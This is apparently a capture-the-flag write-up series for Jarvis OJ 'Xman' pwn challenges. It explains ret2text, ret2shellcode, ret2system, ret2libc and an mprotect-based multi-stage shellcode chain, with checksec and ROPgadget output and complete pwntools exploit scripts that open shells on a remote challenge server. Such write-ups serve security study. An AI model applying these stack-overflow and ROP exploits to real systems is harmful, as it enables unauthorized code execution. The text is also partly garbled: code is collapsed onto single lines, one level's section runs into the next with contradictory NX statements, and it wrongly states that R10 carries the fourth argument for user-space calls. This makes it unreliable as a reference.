The function vulnerable_function() is called and it is vulnerable to buffer overflow attack. The buffer buf is only 0x80 bytes long but we are able to write 0x200 bytes into it at read(0, &buf, 0x200uLL);. In the binary we can find a "backdoor" function named callsystem(). Here we should overflow the buffer, control the instruction pointer, and then use ret2text to redirect the control flow to callsystem().
ret2text is possible when there exist dead code in the program. "Dead code" refers to a piece of code that never gets used by the program. This happens because developer may forget which function is neccessary and which function is useless during the developement process. Also, sometimes the developer would insert some kind of "backdoor" in the project for convenience, and this makes attack convenient in the meantime.
Exploit
#!/usr/bin/env python3from pwn import*#--------Setup--------#elf =ELF("./level0")context.arch="amd64local =Falseif local: r = elf.process()else: host ="pwn2.jarvisoj.com" port =9881 r =remote(host, port)#--------ret2text--------#offset =136callsystem = elf.sym["callsystem"]payload =flat( b"A"* offset, callsystem,)r.sendlineafter("Hello, World\n", payload)r.interactive()
Xman Level 1 (ret2shellcode)
file + checksec
file:
level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Program Analysis
Examine the main function:
int __cdecl main(int argc,constchar**argv,constchar**envp){vulnerable_function();write(1,"Hello, World!\n",0xEu);return0;}
vulnerable_function() has stack overflow vulnerability:
The absence of NX makes this binary vulnerable to ret2shellcode. Since we are allowed to write 0x100 bytes into buf, the pwntools' built-in shellcode suffices.
Since NX is enabled, we can't do ret2shellcode this time because the shellcode stored on stack won't be executed. Instead, we use ret2system since it is one of the standard methods for bypassing NX. Note that both system and /bin/sh are provided in the binary:
$ ROPgadget --binary level2 --string "system"
Strings information
============================================================
0x0804824b : system
This time we are dealing with x64 architecture. The major distinction between x86 and x64 is different calling conventions. In x86, the function arguments are stored on the stack. In x64, the first 6 function arguments are stored in registers, in the following order:
RDI = arg1
RSI = arg2
RDX = arg3
R10 = arg4 (R10 for kernel space and RCX for user space. We are interested in kernel space here.)
R8 = arg5
R9 = arg6
If there exists more arguments, the extra ones will be stored on the stack.
To pass /bin/sh as the argument for system, we need to store /bin/sh in rdi. This can be done with the pop rdi gadget:
$ ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret
Exploit
#!/usr/bin/env python3from pwn import*#--------Setup--------#context(arch="amd64", os="linux")elf =ELF("level2_x64", checksec=False)local =Falseif local: r = elf.process()else: host ="pwn2.jarvisoj.com" port =9882 r =remote(host, port)#--------ret2system--------#offset =136# ROPgadget --binary level2_x64 --only "pop|ret" | grep rdipop_rdi =0x00000000004006b3bin_sh =next(elf.search(b"/bin/sh\x00"))system = elf.plt["system"]payload =flat( b"A"* offset, pop_rdi, bin_sh, # pop "/bin/sh" to rdi system, # call system("/bin/sh"))r.sendlineafter("Input:\n", payload)r.interactive()
Xman Level 3 32-bit (ret2libc)
file + checksec
file:
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Program Analysis
Examine the main function:
int __cdecl main(int argc,constchar**argv,constchar**envp){vulnerable_function();write(1,"Hello, World!\n",0xEu);return0;}
vulnerable_function() has stack overflow vulnerability:
No more system provided in binary this time, so we need to leak an address (write_got in this case) from the GOT table and then calculate the libc base address based on this leaked address. Once we have the libc base address, we are able to deduce the addresses of system and /bin/sh in libc.
The candidates of this leaking phase include puts, write or printf. They will be called ret2puts, ret2write and ret2printf, respectively. Usually we want to do ret2puts, but since there is no puts@plt or printf@plt in this binary, the only choice left for us is ret2write.
Exploit
#!/usr/bin/env python3from pwn import*#--------Setup--------#context(arch="i386", os="linux")elf =ELF("level3", checksec=False)local =Falseif local: libc = elf.libc r = elf.process()else: libc =ELF("libc-2.19.so") host ="pwn2.jarvisoj.com" port =9879 r =remote(host, port)#--------ret2write--------#offset =140write_plt = elf.plt["write"]vulnerable_function = elf.sym["vulnerable_function"]write_got = elf.got["write"]payload =flat( b"A"* offset, write_plt, # call write(1, write_got, 4) vulnerable_function, # return address for write()1, write_got, 4, # arguments for write())"""Here 1 is fd (stdout), 4 is the # bytes to write"""r.sendlineafter("Input:\n", payload)write_leak =u32(r.read(4))write_offset = libc.sym["write"]libc.address = write_leak - write_offsetlog.info(f"write_leak: {hex(write_leak)}")log.info(f"write_offset: {hex(write_offset)}")log.info(f"libc.address: {hex(libc.address)}")#--------ret2libc-------#system = libc.sym["system"]bin_sh =next(libc.search(b"/bin/sh\x00"))"""since libc.address was defined,the above two address are adjusted automatically."""payload =flat( b"A"* offset, system, b"B"*4, # return address for system bin_sh, # argument for system)r.sendlineafter("Input:\n", payload)r.interactive()
Xman Level 3 64-bit (ret2libc)
file + checksec
file:
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
checksec:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Program Analysis
Examine the main function:
int __cdecl main(int argc,constchar**argv,constchar**envp){vulnerable_function(argc, argv, envp);returnwrite(1,"Hello, World!\n",0xEuLL);}
vulnerable_function() has stack overflow vulnerability:
We need gadgets pop rdi, pop rsi and pop rdx this time. We can find pop rdi ; ret in the binary:
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret
However, we can't find an independent gadget like pop rsi; ret. The good news is pop rsi ; pop r15 ; ret could be used as an alternative:
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
0x00000000004006b1 : pop rsi ; pop r15 ; ret
Here we simply pass a junk value into r15, so this gadget would do the same job as pop rsi ; ret.
We still need pop rdx ; ret. However, this gadget is not present in the binary. It doesn't really matter because the value stored in rdx is greater than 6 at the moment write gets called. This is just what we want since the address of write@GOT won't be longer than 6 bytes. As a result, we don't have to set the value of rdx on ourselves, so just ignore it.
The libc file is not given this time, but that's not a problem. We can always query the leaked address from libc database and figure out the libc version as well as the corresponding libc function offsets (relative to the libc base address).
In this challenge, system and execve are disabled (at least we pretend that they are disabled) and we are supposed to use mmap or mprotect. Using mprotect is the easier route. The exploit splits into three phases:
Leak the address of write_got, calculate libc base address and then deduce the address of mprotect.
Call mprotect to give the .bss segment rwx permission.
Call read to start a stdin session and input our shellcode to the .bss segment. Set the return address of read to be the address of .bss segment so the shellcode gets triggered.
Phase 1 is essentially the same as Level 3 (x64).
Phase 2 is something new. Here we want to call mprotect(void *addr, size_t len, int prot), where:
addr is the address of the buffer.
len is the length of the buffer. Say it is 0x1000, which is more than enough.
prot is the permission that we want that buffer to have, which is 7 = 0b111 = rwx in this case.
Phase 3 is a slightly advanced version of ret2shellcode. Here we use multi-stage shellcode. In stage 1, we call the read() function to open a STDIN session. In stage 2, we input the /bin/sh shellcode from STDIN, and get shell.
In stage 1, we use ROP to call read(int fd, void *buf, size_t nbyte), where:
fd should be 0 since we want stdin.
buf is the address of the buffer. We will use elf.bss() here, which is the beginning of the .bss segment.
nbyte is the length of our input. Let's say it's 0x100, which is more than enough.
In stage 2, we can input our shellcode from STDIN. If the return address of read is set to be elf.bss(), the shellcode will be triggered and we would get shell.
Exploit
#!/usr/bin/env python3from pwn import*#--------Setup--------#context(arch="amd64", os="linux")elf =ELF("level5", checksec=False)local =Falseif local: libc = elf.libc r = elf.process()else: libc =ELF("libc-2.19.so") host ="pwn2.jarvisoj.com" port =9884 r =remote(host, port)#--------Phase 1: ret2write--------#offset =136write_plt = elf.plt["write"]vulnerable_function = elf.sym["vulnerable_function"]write_got = elf.got["write"]# ROPgadget --binary level5 --only "pop|ret" | grep rdipop_rdi =0x00000000004006b3# ROPgadget --binary level5 --only "pop|ret" | grep rsipop_rsi_pop_r15 =0x00000000004006b1payload =flat( b"A"* offset, pop_rdi, 1, pop_rsi_pop_r15, write_got, 1337, write_plt, # call write(1, write_got, [rdx]) vulnerable_function, # return address for write())r.sendlineafter("Input:\n", payload)write_leak =u64(r.read(6).ljust(8, b"\x00"))write_offset = libc.sym["write"]libc.address = write_leak - write_offsetlog.info(f"write_leak: {hex(write_leak)}")log.info(f"write_offset: {hex(write_offset)}")log.info(f"libc.address: {hex(libc.address)}")#--------Phase 2: mprotect--------#"""$ man 2 mprotect:mprotect(void *addr, size_t len, int prot)mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary."""mprotect = libc.sym["mprotect"]"""The address of mproject is auto-adjusted since libc.address was set.Also, since we know the libc base address,we can use gadgets from libc from now on."""# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsipop_rsi = libc.address +0x0000000000024885# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdxpop_rdx = libc.address +0x0000000000000286log.info(f"elf.bss(): {hex(elf.bss())}")"""We have elf.bss() = 0x600a88.Note that the first argument of mprotect must be an integer multiple of page size.We can learn the page size using the command "getconf":$ getconf PAGE_SIZE4096Hence addr = k * 0x1000, so we pick addr = 0x600000."""payload =flat( b"A"* offset, pop_rdi, 0x600000, # arg1: addr pop_rsi, 0x1000, # arg2: len pop_rdx, 7, # arg3: prot (7 = 0b111 = rwx) mprotect, # call mprotect(0x600000, 0x1000, 7) vulnerable_function, # return address for mprotect())r.sendlineafter("Input:\n", payload)#--------Phase 3: ret2shellcode-------#read = elf.plt["read"]shellcode =asm(shellcraft.sh())payload =flat( b"A"* offset, pop_rdi, 0, # arg1: fd (0 = stdin) pop_rsi, elf.bss(), # arg2: buf pop_rdx, 0x100, # arg3: nbyte read, # call read(0, elf.bss(), 0x100) elf.bss(), # return address for read())r.sendlineafter("Input:\n", payload)r.sendline(shellcode)# the stdin session initiated by the read() functionr.interactive()
